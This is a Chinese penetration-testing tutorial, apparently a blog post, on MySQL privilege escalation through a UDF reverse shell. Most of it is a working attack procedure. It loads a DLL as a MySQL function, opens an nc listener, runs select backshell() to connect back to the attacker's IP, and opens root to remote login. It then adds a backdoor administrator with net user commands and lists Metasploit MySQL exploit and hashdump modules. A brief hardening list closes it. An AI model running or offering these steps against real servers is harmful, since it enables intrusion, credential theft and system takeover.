当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
mysql反弹shell提权
0x01 介绍
0x02 适用场景
0x03 前言
0x04 手工操作
0x05 MSF 反弹Shell
0x06 额外拓展知识
mysql提权之反弹shell,其实这也属于udf提权,只不过应用场景不同,比如现在我们没有webshell但是我们却有偶然得到了mysql的root密码(弱口令等),恰巧目标机的数据库可以外联或者有phpmyadmin,那么我们就可以把上面udf.dll文件的内容先插入到数据表中,然后再导出到/lib/plugin目录。
注:这里我看到网上的资料都是讲mysql.txt导入到数据库中,mysql.txt也就是udf.dll文件的2进制转换为16进制,这里我不太清楚为什么需要转成十六进制,但是我知道如果udf.dll文件成功导入到plugin目录是可以成功反弹shell的
取较高权限的,比如获取webshell,或者获取到webshell无法执行高权限命令的。特别是有了SQL执行权限(可读可写),比如SQL注入漏洞、能远程连接数据库,无法验证权限是否提升的,比如你不知道能执行系统命令,却不知道命令是否成功,根本没有一个直接的反馈。又比如你成功创建了一个管理员用户,却发现服务器3389没对你开放或设置了连接的白名单。等等情况,相信在渗透中,都挺折磨人的。
回顾一下之前UDF提权的内容
原理
UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限利用条件
Mysql版本大于5.1版本。udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
可以将udf.dll写入到相应目录的权限。
注:关于plugin目录,可在mysql中执行show variables like '%plugin%';
进行查看,这个目录也就是dll文件需要导入的目录
利用方式
传送问地址:https://blog.csdn.net/God_XiangYu/article/details/99785627
创建函数backshell
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
在具备独立主机的服务器上执行监听
nc -vv -l -p 12345
最后就是执行backshell
select backshell("你的ip地址",12345);
通过webshell将udf.dll导入plugin目录,如果成功返回了shell则说明成功了,我们就可以添加用户了
或另外一种方式
msf 内置关于mysql插件如下(部分非测试mysql 插件)
# 关于msf常用攻击mysql插件如下:
1. auxiliary/scanner/mysql/mysql_login
2. exploit/multi/mysql/mysql_udf_payload
3. exploit/windows/mysql/mysql_mof
4. exploit/windows/mysql/scrutinizer_upload_exec
5. auxiliary/scanner/mysql/mysql_hashdump
6. auxiliary/admin/mysql/mysql_sql
7. auxiliary/scanner/mysql/mysql_version
我们使用 exploit/multi/mysql/mysql_udf_payload 模块来反弹Shell(常用于root启动的mysql 并root的udf提权)
auxiliary/scanner/mysql/mysql_login(常用于内网中的批量以及单主机的登录测试)
exploit/multi/mysql/mysql_udf_payload(常用于root启动的mysql 并root的udf提权)
exploit/windows/mysql/mysql_mof(以上类似,提权)
exploit/windows/mysql/scrutinizer_upload_exec(上传文件执行)
auxiliary/scanner/mysql/mysql_hashdump(mysql的mysql.user表的hash)
注:mysql_hashdump这个插件相对其他较为少用。一般情况建议使用sql语句:更直观,更定制化
auxiliary/admin/mysql/mysql_sql(执行sql语句,尤其是在目标机没有web界面等无法用脚本执行的环境)
auxiliary/scanner/mysql/mysql_version(常用于内网中的批量mysql主机发现)
Mysql数据库反弹端口连接提权
在渗透或者安全评估时,有可能遇到一些比较奇葩的环境,即使通过Mysql root账号和密码获取了webshell,由于无法执行命令,在一般的情况下,也就放弃了,但其实可以换一种思路,通过mysql查询来直接提权,可以针对以下场景:
(1)通过网站无法获取webshell
(2)Webshell无法执行命令
(3)有phpmyadmin和root账号,无法查询或者无法获取网站的真实路径1.1 反弹端口连接提权的条件
1. 访问Mysql数据库
获取了数据库root账号和密码或者相当于root权限的账号和密码,同时能够执行查询命令。换句话说可以通过phpmyadmin连接、通过网站后台的执行数据库命令或者“Navicat for MySQL”等客户端软件连接。
2. 可导出文件udf.dll到系统目录或者Mysql数据库安装目录下的lib下的plugin目录。如果有上传条件,可以直接上传udf.dll到对应目录。Mysql5.1以下版本到c:\winnt\system32或者c:\windows\system32目录,Mysql5.1以上版本到Mysql安装目录下的plugin 目录,例如D:\ComsenzEXP\MySQL\lib\plugin。
3.授权mysql数据库远程用户登录
可以修改host为%,更新权限,然后通过Navicat for MySQL连接数据库,直接打开命令提示窗口进行导出。
允许远程用户登录访问mysql的方法,需要手动增加可以远程访问数据库的用户。方法一:本地登入mysql,更改 "mysql" 数据库里的 "user" 表里的 "host" 项,将"localhost"改为"%"
use mysql; update user set host = '%' where user = 'root'; FLUSH PRIVILEGES ;
方法二:直接授权
从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION; FLUSH PRIVILEGES;
1.2具体实现方法
1. 连接mysql服务器
(1)通过mysql客户端工具可以直接连接
(2)通过phpmyadmin进行连接
(3)通过mysql.exe直接连接
2. 执行查询命令
(1)网上提供的“. c:\mysql.txt”命令会出错,最好通过phpmyadmin或者Navicat for MySQL等工具来进行查询。修改mysql.txt中的最后一行代码“select backshell("YourIP",4444);”为自己反弹的IP和反弹监听的端口。
(2)本地开启监听反弹的端口
nc.exe -vv -l -p 4444
(3)执行mysql查询,将mysql.txt文件内容复制到查询中执行。
成功后,你将获得一个system权限的cmdshell。
3. 添加用户或者获取管理员密码
通过反弹shell添加用户antian365,密码www.antian365.com
net user antian365 www.antian365.com /add
net localgroup administrators antian3651.3 一个提权实例
1. 在反弹监听服务器上进行端口监听
通过cmd命令提示符,执行nc监听命令:nc –vv –l –p 4444,表示在本地监听4444端口。如果是在公网上,这反弹监听服务器必须有独立IP,如果是内部网络,则可以直接使用内网IP,如图1所示。图1进行监听
2. 修改mysql.txt文件中反弹地址
在mysql.txt文件中将最后一行代码修改为前面设置的监听IP地址和端口,如图2所示.例如代码:
select backshell("192.168.40.135",4444);//反弹监听服务器IP192.168.40.135,端口4444图2 修改查询代码中反弹shell地址和端口
这个也可以再次单独查询:select backshell("192.168.40.135",4444);
3. 执行查询
可以通过mysql命令行下执行,也可以通过phpmyadmin查询窗口以及一些mysql客户端查询进行,如图3所示执行查询。图3 执行mysql查询
说明:(1)如果已经存在ghost表和backshell函数,可以执行以下命令进行删除: drop table ghost; drop FUNCTION backshell; (2)如果已经存在udf.dll,则可以跳过导出命令,执行: CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll';
3. 查看反弹结果
如图4所示,显示通过连接mysql执行查询获取的终端反弹shell,在该shell下可以直接执行net user、whoami等命令查看当前权限。图4 查看反弹结果
1.4 防范方法
1. 查看mysql数据库中user表授权的登录host,禁止具备Root账号权限的用户通过“%”进行登录。
2. 禁止在网站CMS系统使用root账号进行配置。
3. 设置root账号的密码为强密码。
4. 对Mysql执行程序进行降权,禁止网站用户读取user.frm、user.myd、user.myi。例如,D:\ComsenzEXP\MySQL\data\mysql下的user表文件user.frm、user.myd、user.myi要禁止网站用户读取和下载。
5. 检查mysql数据库下的mysql表中是否存在其它无关表,检查func表中的内容。
6. 可以在相应的目录下建立一个udf.dll空文件,并严格设置权限,任何人无读取和写入权限。
文中提及的mysql.txt以及udf见附件。
参考链接:
https://www.jianshu.com/p/ce9f8cc4d16b
https://www.waitalone.cn/mysql-tiquan-summary.html
http://hacker-chengyu.lofter.com/post/1d1568f4_e8c2efe
我不需要自由,只想背着她的梦
一步步向前走,她给的永远不重